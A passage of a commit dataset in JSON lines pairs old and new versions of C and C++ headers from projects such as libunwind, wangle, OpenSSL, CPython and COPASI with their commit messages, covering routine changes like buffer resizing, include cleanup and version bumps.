{"commit":"554f657af8c33be01a0300518bc313fa13e46d34","old_file":"src\/rx5808-pro-diversity\/pstr_helper.h","new_file":"src\/rx5808-pro-diversity\/pstr_helper.h","old_contents":"#ifndef PSTR_HELPER_H\r\n#define PSTR_HELPER_H\r\n\r\n#include <avr\/pgmspace.h>\r\n\r\n\/\/ Modified PSTR that pushes string into a char* buffer for easy use.\r\n\/\/\r\n\/\/ There is only one buffer so this will cause problems if you need to pass two\r\n\/\/ strings to one function.\r\n#define PSTR2(x) PSTRtoBuffer_P(PSTR(x))\r\n#define PSTR2_BUFFER_SIZE 32 \/\/ May need adjusted depending on your needs.\r\n\r\nchar *PSTRtoBuffer_P(PGM_P str);\r\n\r\n#endif\r\n","new_contents":"#ifndef PSTR_HELPER_H\r\n#define PSTR_HELPER_H\r\n\r\n#include <avr\/pgmspace.h>\r\n\r\n\/\/ Modified PSTR that pushes string into a char* buffer for easy use.\r\n\/\/\r\n\/\/ There is only one buffer so this will cause problems if you need to pass two\r\n\/\/ strings to one function.\r\n#define PSTR2(x) PSTRtoBuffer_P(PSTR(x))\r\n#define PSTR2_BUFFER_SIZE 48 \/\/ May need adjusted depending on your needs.\r\n\r\nchar *PSTRtoBuffer_P(PGM_P str);\r\n\r\n#endif\r\n","subject":"Increase PSTR2 buffer (fix broken calibration)","message":"Increase PSTR2 buffer (fix broken calibration)\n\n- No idea how this didn't cause problems before. Luck?\n","lang":"C","license":"mit","repos":"sheaivey\/rx5808-pro-diversity,sheaivey\/rx5808-pro-diversity,RCDaddy\/rx5808-pro-diversity,RCDaddy\/rx5808-pro-diversity"}
{"commit":"59f9f6a1aca88f97732e7428f7578a7e24955214","old_file":"include\/tdep-ia64\/rse.h","new_file":"include\/tdep-ia64\/rse.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 1998, 1999, 2002, 2003, 2005 Hewlett-Packard Co\n *\tDavid Mosberger-Tang <davidm@hpl.hp.com>\n *\n * Register stack engine related helper functions.  This file may be\n * used in applications, so be careful about the name-space and give\n * some consideration to non-GNU C compilers (though __inline__ is\n * fine).\n *\/\n#ifndef RSE_H\n#define RSE_H\n\n#include <libunwind.h>\n\nstatic inline uint64_t\nrse_slot_num (uint64_t addr)\n{\n\treturn (addr >> 3) & 0x3f;\n}\n\n\/*\n * Return TRUE if ADDR is the address of an RNAT slot.\n *\/\nstatic inline uint64_t\nrse_is_rnat_slot (uint64_t addr)\n{\n\treturn rse_slot_num (addr) == 0x3f;\n}\n\n\/*\n * Returns the address of the RNAT slot that covers the slot at\n * address SLOT_ADDR.\n *\/\nstatic inline uint64_t\nrse_rnat_addr (uint64_t slot_addr)\n{\n\treturn slot_addr | (0x3f << 3);\n}\n\n\/*\n * Calculate the number of registers in the dirty partition starting at\n * BSPSTORE and ending at BSP.  This isn't simply (BSP-BSPSTORE)\/8\n * because every 64th slot stores ar.rnat.\n *\/\nstatic inline uint64_t\nrse_num_regs (uint64_t bspstore, uint64_t bsp)\n{\n\tuint64_t slots = (bsp - bspstore) >> 3;\n\n\treturn slots - (rse_slot_num(bspstore) + slots)\/0x40;\n}\n\n\/*\n * The inverse of the above: given bspstore and the number of\n * registers, calculate ar.bsp.\n *\/\nstatic inline uint64_t\nrse_skip_regs (uint64_t addr, long num_regs)\n{\n\tlong delta = rse_slot_num(addr) + num_regs;\n\n\tif (num_regs < 0)\n\t\tdelta -= 0x3e;\n\treturn addr + ((num_regs + delta\/0x3f) << 3);\n}\n\n#endif \/* RSE_H *\/\n","subject":"Include \"libunwind_i.h\" instead of \"internal.h\".","message":"Include \"libunwind_i.h\" instead of \"internal.h\".\n\n2005\/05\/19 08:11:38-07:00 hp.com!davidm\nRename: include\/ia64\/rse.h -> include\/tdep-ia64\/rse.h\n\n(Logical change 1.294)\n","lang":"C","license":"mit","repos":"zliu2014\/libunwind-tilegx,adsharma\/libunwind,zliu2014\/libunwind-tilegx,geekboxzone\/mmallow_external_libunwind,android-ia\/platform_external_libunwind,unkadoug\/libunwind,cloudius-systems\/libunwind,dreal-deps\/libunwind,dagar\/libunwind,libunwind\/libunwind,martyone\/libunwind,djwatson\/libunwind,Keno\/libunwind,frida\/libunwind,tronical\/libunwind,vegard\/libunwind,rntz\/libunwind,dropbox\/libunwind,atanasyan\/libunwind,djwatson\/libunwind,tkelman\/libunwind,CyanogenMod\/android_external_libunwind,joyent\/libunwind,rogwfu\/libunwind,jrmuizel\/libunwind,0xlab\/0xdroid-external_libunwind,fdoray\/libunwind,SyndicateRogue\/libunwind,dagar\/libunwind,pathscale\/libunwind,tony\/libunwind,dropbox\/libunwind,android-ia\/platform_external_libunwind,cms-externals\/libunwind,frida\/libunwind,yuyichao\/libunwind,rantala\/libunwind,unkadoug\/libunwind,maltek\/platform_external_libunwind,vtjnash\/libunwind,geekboxzone\/lollipop_external_libunwind,wdv4758h\/libunwind,djwatson\/libunwind,rogwfu\/libunwind,androidarmv6\/android_external_libunwind,cms-externals\/libunwind,martyone\/libunwind,fdoray\/libunwind,bo-on-software\/libunwind,unkadoug\/libunwind,joyent\/libunwind,atanasyan\/libunwind,igprof\/libunwind,tony\/libunwind,fillexen\/libunwind,fillexen\/libunwind,CyanogenMod\/android_external_libunwind,tkelman\/libunwind,igprof\/libunwind,zeldin\/platform_external_libunwind,fdoray\/libunwind,krytarowski\/libunwind,adsharma\/libunwind,project-zerus\/libunwind,tronical\/libunwind,bo-on-software\/libunwind,Chilledheart\/libunwind,mpercy\/libunwind,dreal-deps\/libunwind,zeldin\/platform_external_libunwind,frida\/libunwind,rantala\/libunwind,ehsan\/libunwind,olibc\/libunwind,ehsan\/libunwind,tkelman\/libunwind,androidarmv6\/android_external_libunwind,joyent\/libunwind,tronical\/libunwind,olibc\/libunwind,krytarowski\/libunwind,libunwind\/libunwind,android-ia\/platform_external_libunwind,vtjnash\/libunwind,rntz\/libunwind,DroidSim\/platform_external_libunwind,rantala\/libunwind,wdv4758h\/libunwind,cms-externals\/libunwind,yuyichao\/libunwind,SyndicateRogue\/libunwind,vegard\/libunwind,dreal-deps\/libunwind,geekboxzone\/mmallow_external_libunwind,Keno\/libunwind,atanasyan\/libunwind-android,evaautomation\/libunwind,igprof\/libunwind,project-zerus\/libunwind,maltek\/platform_external_libunwind,lat\/libunwind,maltek\/platform_external_libunwind,androidarmv6\/android_external_libunwind,cloudius-systems\/libunwind,rntz\/libunwind,jrmuizel\/libunwind,DroidSim\/platform_external_libunwind,Chilledheart\/libunwind,atanasyan\/libunwind,atanasyan\/libunwind-android,fillexen\/libunwind,yuyichao\/libunwind,krytarowski\/libunwind,ehsan\/libunwind,vegard\/libunwind,mpercy\/libunwind,dagar\/libunwind,rogwfu\/libunwind,pathscale\/libunwind,martyone\/libunwind,Chilledheart\/libunwind,Keno\/libunwind,evaautomation\/libunwind,lat\/libunwind,project-zerus\/libunwind,mpercy\/libunwind,bo-on-software\/libunwind,adsharma\/libunwind,pathscale\/libunwind,SyndicateRogue\/libunwind,cloudius-systems\/libunwind,zeldin\/platform_external_libunwind,olibc\/libunwind,jrmuizel\/libunwind,geekboxzone\/lollipop_external_libunwind,0xlab\/0xdroid-external_libunwind,zliu2014\/libunwind-tilegx,lat\/libunwind,vtjnash\/libunwind,tony\/libunwind,geekboxzone\/lollipop_external_libunwind,geekboxzone\/mmallow_external_libunwind,libunwind\/libunwind,wdv4758h\/libunwind,DroidSim\/platform_external_libunwind,dropbox\/libunwind,CyanogenMod\/android_external_libunwind,evaautomation\/libunwind,atanasyan\/libunwind-android,0xlab\/0xdroid-external_libunwind"}
{"commit":"bcb8b40f7bc4d9e1045deb325d626fafd584c943","old_file":"common\/thread\/thread_posix.h","new_file":"common\/thread\/thread_posix.h","old_contents":"","new_contents":"#ifndef\tTHREAD_POSIX_H\n#define\tTHREAD_POSIX_H\n\nstruct ThreadState {\n\tpthread_t td_;\n\n\tstatic void start(pthread_key_t key, Thread *td)\n\t{\n\t\tpthread_t self = pthread_self();\n\n\t\ttd->state_->td_ = self;\n\n\t\tint rv = pthread_setspecific(key, td);\n\t\tif (rv == -1) {\n\t\t\tERROR(\"\/thread\/state\/start\") << \"Could not set thread-local Thread pointer.\";\n\t\t\treturn;\n\t\t}\n\n#if defined(__FreeBSD__)\n\t\tpthread_set_name_np(self, td->name_.c_str());\n#elif defined(__APPLE__)\n\t\tpthread_setname_np(td->name_.c_str());\n#endif\n\t}\n};\n\n\n\n#endif \/* !THREAD_POSIX_H *\/\n","subject":"Add missed file in previous revision.","message":"Add missed file in previous revision.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"d39a5652fcf904abc26ef2d7165df6d9ecfc68d8","old_file":"chapter5\/Game.h","new_file":"chapter5\/Game.h","old_contents":"#ifndef __GAME__\n#define __GAME__\n\n#include<vector>\n#include<SDL2\/SDL.h>\n#include\"GameObject.h\"\n#include\"GameStateMachine.h\"\n\nclass Game\n{\n    public:\n        static Game *getInstance()\n        {\n            if (!instance) {\n                instance = new Game();\n            }\n\n            return instance;\n        }\n\n        bool init(const char *title, int xPosition, int yPosition, int height, int width, bool fullScreen);\n\n        void render();\n        void update();\n        void handleEvents();\n        void clean();\n\n        bool isRunning() { return running; }\n\n        SDL_Renderer *getRenderer() const { return renderer; }\n\n    private:\n        static Game *instance;\n\n        bool running;\n        SDL_Window *window;\n        SDL_Renderer *renderer;\n        GameStateMachine *gameStateMachine;\n\n        std::vector<GameObject*> gameObjects;\n\n        Game() {}\n        ~Game() {}\n};\n\ntypedef Game TheGame;\n\n#endif\n","new_contents":"#ifndef __GAME__\n#define __GAME__\n\n#include<vector>\n#include<SDL2\/SDL.h>\n#include\"GameObject.h\"\n#include\"GameStateMachine.h\"\n\nclass Game\n{\n    public:\n        static Game *getInstance()\n        {\n            if (!instance) {\n                instance = new Game();\n            }\n\n            return instance;\n        }\n\n        bool init(const char *title, int xPosition, int yPosition, int height, int width, bool fullScreen);\n\n        void render();\n        void update();\n        void handleEvents();\n        void clean();\n\n        bool isRunning() { return running; }\n\n        SDL_Renderer *getRenderer() const { return renderer; }\n        GameStateMachine* getStateMachine() { return gameStateMachine; }\n\n    private:\n        static Game *instance;\n\n        bool running;\n        SDL_Window *window;\n        SDL_Renderer *renderer;\n        GameStateMachine *gameStateMachine;\n\n        std::vector<GameObject*> gameObjects;\n\n        Game() {}\n        ~Game() {}\n};\n\ntypedef Game TheGame;\n\n#endif\n","subject":"Include method to return pointer to object gameStateMachine","message":"Include method to return pointer to object gameStateMachine\n","lang":"C","license":"bsd-2-clause","repos":"caiotava\/SDLBook"}
{"commit":"9bf27e459fa470bccd07d64ee3e6aad9b49847f4","old_file":"wangle\/concurrent\/NamedThreadFactory.h","new_file":"wangle\/concurrent\/NamedThreadFactory.h","old_contents":"\/*\n *  Copyright (c) 2017, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#pragma once\n\n#include <atomic>\n#include <string>\n#include <thread>\n\n#include <wangle\/concurrent\/ThreadFactory.h>\n#include <folly\/Conv.h>\n#include <folly\/Range.h>\n#include <folly\/ThreadName.h>\n\nnamespace wangle {\n\nclass NamedThreadFactory : public ThreadFactory {\n public:\n  explicit NamedThreadFactory(folly::StringPiece prefix)\n    : prefix_(prefix.str()), suffix_(0) {}\n\n  std::thread newThread(folly::Func&& func) override {\n    auto thread = std::thread([&](folly::Func&& funct) {\n      folly::setThreadName(folly::to<std::string>(prefix_, suffix_++));\n      funct();\n    }, std::move(func));\n    return thread;\n  }\n\n  void setNamePrefix(folly::StringPiece prefix) {\n    prefix_ = prefix.str();\n  }\n\n  std::string getNamePrefix() {\n    return prefix_;\n  }\n\n private:\n  std::string prefix_;\n  std::atomic<uint64_t> suffix_;\n};\n\n} \/\/ namespace wangle\n","new_contents":"\/*\n *  Copyright (c) 2017, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#pragma once\n\n#include <atomic>\n#include <string>\n#include <thread>\n\n#include <wangle\/concurrent\/ThreadFactory.h>\n#include <folly\/Conv.h>\n#include <folly\/Range.h>\n#include <folly\/ThreadName.h>\n\nnamespace wangle {\n\nclass NamedThreadFactory : public ThreadFactory {\n public:\n  explicit NamedThreadFactory(folly::StringPiece prefix)\n    : prefix_(prefix.str()), suffix_(0) {}\n\n  std::thread newThread(folly::Func&& func) override {\n    auto thread = std::thread(std::move(func));\n    folly::setThreadName(\n        thread.native_handle(),\n        folly::to<std::string>(prefix_, suffix_++));\n    return thread;\n  }\n\n  void setNamePrefix(folly::StringPiece prefix) {\n    prefix_ = prefix.str();\n  }\n\n  std::string getNamePrefix() {\n    return prefix_;\n  }\n\n private:\n  std::string prefix_;\n  std::atomic<uint64_t> suffix_;\n};\n\n} \/\/ namespace wangle\n","subject":"Revert D5012627: [FBCode] Switch various calls to folly::setThreadName to set the current thread's name","message":"Revert D5012627: [FBCode] Switch various calls to folly::setThreadName to set the current thread's name\n\nSummary: This reverts commit a4e6e2c2cb5bd02b1ebea85c305eac59355a7d42\n\nDifferential Revision: D5012627\n\nfbshipit-source-id: ff4b8ff94d5f5e76f0777b96d03975d3f7834a17\n","lang":"C","license":"apache-2.0","repos":"facebook\/wangle,facebook\/wangle,facebook\/wangle"}
{"commit":"57462517acbc6ee2cd669e7b8d3cb014c7cd9d3e","old_file":"ImageLoader\/ImageLoader.h","new_file":"ImageLoader\/ImageLoader.h","old_contents":"\/\/\n\/\/  ImageLoader.h\n\/\/  ImageLoader\n\/\/\n\/\/  Created by Hirohisa Kawasaki on 10\/16\/14.\n\/\/  Copyright (c) 2014 Hirohisa Kawasaki. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double ImageLoaderVersionNumber;\nFOUNDATION_EXPORT const unsigned char ImageLoaderVersionString[];\n","new_contents":"\/\/\n\/\/  ImageLoader.h\n\/\/  ImageLoader\n\/\/\n\/\/  Created by Hirohisa Kawasaki on 10\/16\/14.\n\/\/  Copyright (c) 2014 Hirohisa Kawasaki. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double ImageLoaderVersionNumber;\nFOUNDATION_EXPORT const unsigned char ImageLoaderVersionString[];\n","subject":"Remove import `UIKit` from header file","message":"Remove import `UIKit` from header file\n","lang":"C","license":"mit","repos":"glustful\/ImageLoaderSwift,iAladdin\/ImageLoaderSwift,oenius\/ImageLoaderSwift,ton-katsu\/ImageLoaderSwift,hirohisa\/ImageLoaderSwift,etataurov\/ImageLoaderSwift,valentinmaxime\/ImageLoaderSwift,etataurov\/ImageLoaderSwift,valentinmaxime\/ImageLoaderSwift,oenius\/ImageLoaderSwift,ton-katsu\/ImageLoaderSwift,hirohisa\/ImageLoaderSwift,iAladdin\/ImageLoaderSwift,glustful\/ImageLoaderSwift"}
{"commit":"d369548192882edab7331975fcad885c4e8e38e7","old_file":"base\/mutex.h","new_file":"base\/mutex.h","old_contents":"\/\/ Copyright (c) 2010 Timur Iskhodzhanov. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_MUTEX_H_\n#define BASE_MUTEX_H_\n\n#include <pthread.h>\n#include \"base\/common.h\"\n\nnamespace threading {\n\nclass Mutex {\n public:\n  Mutex();\n  ~Mutex();\n  void Lock();\n\n  \/*!\n      Attempts to lock the mutex. If the lock was obtained, this function\n      returns true. If another thread has locked the mutex, this\n      function returns false immediately.\n\n      If the lock was obtained, the mutex must be unlocked with Unlock()\n      before another thread can successfully lock it.\n  *\/\n  bool TryLock();\n  void Unlock();\n\n private:\n  pthread_mutex_t mutex_;\n  DISALLOW_COPY_AND_ASSIGN(Mutex)\n};\n\n\n\/\/ A helper class that acquires the given Mutex while the MutexLock is in scope\nclass MutexLock {\n public:\n  explicit MutexLock(Mutex *m): mutex_(m) {\n    CHECK(mutex_ != NULL);\n    mutex_->Lock();\n  }\n\n  ~MutexLock() {\n    mutex_->Unlock();\n  }\n\n private:\n  Mutex * const mutex_;\n  DISALLOW_COPY_AND_ASSIGN(MutexLock)\n};\n\n}  \/\/ namespace threading\n\n#endif  \/\/ BASE_MUTEX_H_\n","new_contents":"\/\/ Copyright (c) 2010 Timur Iskhodzhanov. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_MUTEX_H_\n#define BASE_MUTEX_H_\n\n#include <pthread.h>\n#include \"base\/common.h\"\n\nnamespace threading {\n\n\/\/ OS-independent wrapper for mutex\/critical section synchronization primitive.\n\/\/ This Mutex is NOT re-entrant!\n\/\/\n\/\/ TODO(DimanNe): add DCHECKs for\n\/\/  * locking a Mutex twice from the same thread,\n\/\/  * unlocking a Mutex which is not locked,\n\/\/  * destroying a locked Mutex.\nclass Mutex {\n public:\n  Mutex();\n  ~Mutex();\n  void Lock();\n\n  \/*!\n      Attempts to lock the mutex. If the lock was obtained, this function\n      returns true. If another thread has locked the mutex, this\n      function returns false immediately.\n\n      If the lock was obtained, the mutex must be unlocked with Unlock()\n      before another thread can successfully lock it.\n  *\/\n  bool TryLock();\n  void Unlock();\n\n private:\n  pthread_mutex_t mutex_;\n  DISALLOW_COPY_AND_ASSIGN(Mutex)\n};\n\n\n\/\/ A helper class that acquires the given Mutex while the MutexLock is in scope\nclass MutexLock {\n public:\n  explicit MutexLock(Mutex *m): mutex_(m) {\n    CHECK(mutex_ != NULL);\n    mutex_->Lock();\n  }\n\n  ~MutexLock() {\n    mutex_->Unlock();\n  }\n\n private:\n  Mutex * const mutex_;\n  DISALLOW_COPY_AND_ASSIGN(MutexLock)\n};\n\n}  \/\/ namespace threading\n\n#endif  \/\/ BASE_MUTEX_H_\n","subject":"Add a comment with a 'TODO: add DCHECKS' for class Mutex","message":"Add a comment with a 'TODO: add DCHECKS' for class Mutex","lang":"C","license":"bsd-3-clause","repos":"denfromufa\/mipt-course,denfromufa\/mipt-course,denfromufa\/mipt-course,denfromufa\/mipt-course"}
{"commit":"f684a2d783bf2c4728e65f83e0f89ec654f40e79","old_file":"crypto\/ec\/curve448\/arch_64\/arch_intrinsics.h","new_file":"crypto\/ec\/curve448\/arch_64\/arch_intrinsics.h","old_contents":"\/*\n * Copyright 2017-2018 The OpenSSL Project Authors. All Rights Reserved.\n * Copyright 2016 Cryptography Research, Inc.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\n * Originally written by Mike Hamburg\n *\/\n\n#ifndef OSSL_CRYPTO_EC_CURVE448_ARCH_64_INTRINSICS_H\n# define OSSL_CRYPTO_EC_CURVE448_ARCH_64_INTRINSICS_H\n\n# define ARCH_WORD_BITS 64\n\nstatic ossl_inline uint64_t word_is_zero(uint64_t a)\n{\n    \/* let's hope the compiler isn't clever enough to optimize this. *\/\n    return (((__uint128_t) a) - 1) >> 64;\n}\n\nstatic ossl_inline uint128_t widemul(uint64_t a, uint64_t b)\n{\n    return ((uint128_t) a) * b;\n}\n\n#endif                          \/* OSSL_CRYPTO_EC_CURVE448_ARCH_64_INTRINSICS_H *\/\n","new_contents":"\/*\n * Copyright 2017-2018 The OpenSSL Project Authors. All Rights Reserved.\n * Copyright 2016 Cryptography Research, Inc.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\n * Originally written by Mike Hamburg\n *\/\n\n#ifndef OSSL_CRYPTO_EC_CURVE448_ARCH_64_INTRINSICS_H\n# define OSSL_CRYPTO_EC_CURVE448_ARCH_64_INTRINSICS_H\n\n# include \"internal\/constant_time.h\"\n\n# define ARCH_WORD_BITS 64\n\n# define word_is_zero(a)     constant_time_is_zero_64(a)\n\nstatic ossl_inline uint128_t widemul(uint64_t a, uint64_t b)\n{\n    return ((uint128_t) a) * b;\n}\n\n#endif                          \/* OSSL_CRYPTO_EC_CURVE448_ARCH_64_INTRINSICS_H *\/\n","subject":"Use constant time zero check function","message":"curve448: Use constant time zero check function\n\nSigned-off-by: Amitay Isaacs <amitay@ozlabs.org>\n\nReviewed-by: Tomas Mraz <2bc6038c3dfca09b2da23c8b6da8ba884dc2dcc2@openssl.org>\nReviewed-by: Matt Caswell <1fa2ef4755a9226cb9a0a4840bd89b158ac71391@openssl.org>\n(Merged from https:\/\/github.com\/openssl\/openssl\/pull\/14784)\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"791cf1f256c1c33d14a7270c83650b5c1ebc44e0","old_file":"Modules\/getpath.c","new_file":"Modules\/getpath.c","old_contents":"#include \"Python.h\"\n#include \"osdefs.h\"\n\n\n#ifndef PYTHONPATH\n#define PYTHONPATH \".:\/usr\/local\/lib\/python\"\n#endif\n\n\n\/* Return the initial python search path.  This is called once from\n   initsys() to initialize sys.path.  The environment variable\n   PYTHONPATH is fetched and the default path appended.  The default\n   path may be passed to the preprocessor; if not, a system-dependent\n   default is used. *\/\n\nchar *\ngetpythonpath()\n{\n\tchar *path = getenv(\"PYTHONPATH\");\n\tchar *defpath = PYTHONPATH;\n\tstatic char *buf = NULL;\n\tchar *p;\n\tint n;\n\n\tif (path == NULL)\n\t\tpath = \"\";\n\tn = strlen(path) + strlen(defpath) + 2;\n\tif (buf != NULL) {\n\t\tfree(buf);\n\t\tbuf = NULL;\n\t}\n\tbuf = malloc(n);\n\tif (buf == NULL)\n\t\tPy_FatalError(\"not enough memory to copy module search path\");\n\tstrcpy(buf, path);\n\tp = buf + strlen(buf);\n\tif (p != buf)\n\t\t*p++ = DELIM;\n\tstrcpy(p, defpath);\n\treturn buf;\n}\n","new_contents":"#include \"Python.h\"\n#include \"osdefs.h\"\n\n#ifdef HAVE_STDLIB_H\n#include <stdlib.h>\n#else\nextern char *getenv Py_PROTO((const char *));\n#endif\n\n\n#ifndef PYTHONPATH\n#define PYTHONPATH \".:\/usr\/local\/lib\/python\"\n#endif\n\n\n\/* Return the initial python search path.  This is called once from\n   initsys() to initialize sys.path.  The environment variable\n   PYTHONPATH is fetched and the default path appended.  The default\n   path may be passed to the preprocessor; if not, a system-dependent\n   default is used. *\/\n\nchar *\ngetpythonpath()\n{\n\tchar *path = getenv(\"PYTHONPATH\");\n\tchar *defpath = PYTHONPATH;\n\tstatic char *buf = NULL;\n\tchar *p;\n\tint n;\n\n\tif (path == NULL)\n\t\tpath = \"\";\n\tn = strlen(path) + strlen(defpath) + 2;\n\tif (buf != NULL) {\n\t\tfree(buf);\n\t\tbuf = NULL;\n\t}\n\tbuf = malloc(n);\n\tif (buf == NULL)\n\t\tPy_FatalError(\"not enough memory to copy module search path\");\n\tstrcpy(buf, path);\n\tp = buf + strlen(buf);\n\tif (p != buf)\n\t\t*p++ = DELIM;\n\tstrcpy(p, defpath);\n\treturn buf;\n}\n","subject":"Include stdlib.h or declare getenv","message":"Include stdlib.h or declare getenv\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"e9e47963f55932d40c3883bf2ecc612ea0803fcc","old_file":"source\/tools\/finite\/opt.h","new_file":"source\/tools\/finite\/opt.h","old_contents":"\/\/\n\/\/ Created by david on 2019-03-18.\n\/\/\n\n#pragma once\n\n#include <general\/eigen_tensor_fwd_decl.h>\n\nclass class_state_finite;\nclass class_model_finite;\nclass class_edges_finite;\nclass class_tensors_finite;\nclass class_algorithm_status;\nclass class_tic_toc;\nenum class OptSpace;\nenum class OptType;\nenum class OptMode;\nenum class StateRitz;\nnamespace tools::finite::opt {\n    class opt_mps;\n\n    using Scalar = std::complex<double>;\n    extern opt_mps find_excited_state(const class_tensors_finite &tensors, const opt_mps &initial_mps, const class_algorithm_status &status,\n                                        OptMode optMode, OptSpace optSpace, OptType optType);\n    extern opt_mps find_excited_state(const class_tensors_finite &tensors, const class_algorithm_status &status, OptMode optMode, OptSpace optSpace,\n                                        OptType optType);\n    extern Eigen::Tensor<Scalar, 3> find_ground_state(const class_tensors_finite &tensors, StateRitz ritz);\n}\n","new_contents":"\/\/\n\/\/ Created by david on 2019-03-18.\n\/\/\n\n#pragma once\n\n#include <general\/eigen_tensor_fwd_decl.h>\n\nclass class_state_finite;\nclass class_model_finite;\nclass class_edges_finite;\nclass class_tensors_finite;\nclass class_algorithm_status;\nclass class_tic_toc;\nnamespace eig {class solver;}\nenum class OptSpace;\nenum class OptType;\nenum class OptMode;\nenum class StateRitz;\nnamespace tools::finite::opt {\n    class opt_mps;\n\n    using Scalar = std::complex<double>;\n    using real = double;\n    using cplx = std::complex<double>;\n    extern void                     extract_solutions(const opt_mps &initial_mps,const class_tensors_finite &tensors, eig::solver &solver, std::vector<tools::finite::opt::opt_mps> &eigvecs_mps, const std::string & tag = \"\");\n    extern opt_mps find_excited_state(const class_tensors_finite &tensors, const opt_mps &initial_mps, const class_algorithm_status &status,\n                                        OptMode optMode, OptSpace optSpace, OptType optType);\n    extern opt_mps find_excited_state(const class_tensors_finite &tensors, const class_algorithm_status &status, OptMode optMode, OptSpace optSpace,\n                                        OptType optType);\n    extern Eigen::Tensor<Scalar, 3> find_ground_state(const class_tensors_finite &tensors, StateRitz ritz);\n}\n","subject":"Use forward declarations to speed up compilation","message":"Use forward declarations to speed up compilation\n\n\nFormer-commit-id: 58cb24dbf6102d6be5cf36336ae6547d9b6b544e","lang":"C","license":"mit","repos":"DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG"}
{"commit":"a9eb35469d1e69649a43426f0a832b7cca732409","old_file":"src\/modules\/antifreeze.h","new_file":"src\/modules\/antifreeze.h","old_contents":"\/*\n *  antifreeze.h\n *  StatusSpec project\n *  \n *  Copyright (c) 2014-2015 Forward Command Post\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#pragma once\n\n#include \"cdll_int.h\"\n#include \"vgui\/VGUI.h\"\n\n#include \"..\/modules.h\"\n\nclass ConCommand;\nclass ConVar;\nclass IConVar;\nclass KeyValues;\n\nnamespace vgui {\n\tclass EditablePanel;\n};\n\nclass AntiFreeze : public Module {\npublic:\n\tAntiFreeze(std::string name);\n\n\tstatic bool CheckDependencies(std::string name);\nprivate:\n\tclass DisplayPanel;\n\tclass RefreshPanel;\n\tDisplayPanel *displayPanel;\n\tRefreshPanel *refreshPanel;\n\n\tConVar *display;\n\tConCommand *display_reload_settings;\n\tConVar *display_threshold;\n\tConVar *enabled;\n\tvoid ChangeDisplayThreshold(IConVar *var, const char *pOldValue, float flOldValue);\n\tvoid ReloadSettings();\n\tvoid ToggleDisplay(IConVar *var, const char *pOldValue, float flOldValue);\n\tvoid ToggleEnabled(IConVar *var, const char *pOldValue, float flOldValue);\n};","new_contents":"\/*\n *  antifreeze.h\n *  StatusSpec project\n *  \n *  Copyright (c) 2014-2015 Forward Command Post\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#pragma once\n\n#include \"..\/modules.h\"\n\nclass ConCommand;\nclass ConVar;\nclass IConVar;\n\nclass AntiFreeze : public Module {\npublic:\n\tAntiFreeze(std::string name);\n\n\tstatic bool CheckDependencies(std::string name);\nprivate:\n\tclass DisplayPanel;\n\tclass RefreshPanel;\n\tDisplayPanel *displayPanel;\n\tRefreshPanel *refreshPanel;\n\n\tConVar *display;\n\tConCommand *display_reload_settings;\n\tConVar *display_threshold;\n\tConVar *enabled;\n\tvoid ChangeDisplayThreshold(IConVar *var, const char *pOldValue, float flOldValue);\n\tvoid ReloadSettings();\n\tvoid ToggleDisplay(IConVar *var, const char *pOldValue, float flOldValue);\n\tvoid ToggleEnabled(IConVar *var, const char *pOldValue, float flOldValue);\n};","subject":"Remove unneeded declarations and headers.","message":"Remove unneeded declarations and headers.\n","lang":"C","license":"bsd-2-clause","repos":"fwdcp\/StatusSpec,fwdcp\/StatusSpec"}
{"commit":"160887b31b1794d15e14ce09bf11a1fa80b6f74c","old_file":"copasi\/copasiversion.h","new_file":"copasi\/copasiversion.h","old_contents":"\/* Begin CVS Header\n   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/copasiversion.h,v $\n   $Revision: 1.3 $\n   $Name:  $\n   $Author: shoops $ \n   $Date: 2004\/02\/19 03:28:58 $\n   End CVS Header *\/\n\n#ifndef COPASI_VERSION\n#define COPASI_VERSION\n\n#define COPASI_VERSION_MAJOR 4\n#define COPASI_VERSION_MINOR 0\n#define COPASI_VERSION_BUILD 2\n\n#endif \/\/ COPASI_VERSION\n","new_contents":"\/* Begin CVS Header\n   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/copasiversion.h,v $\n   $Revision: 1.4 $\n   $Name:  $\n   $Author: shoops $ \n   $Date: 2004\/02\/20 18:15:46 $\n   End CVS Header *\/\n\n#ifndef COPASI_VERSION\n#define COPASI_VERSION\n\n#define COPASI_VERSION_MAJOR 4\n#define COPASI_VERSION_MINOR 0\n#define COPASI_VERSION_BUILD 3\n\n#endif \/\/ COPASI_VERSION\n","subject":"Build 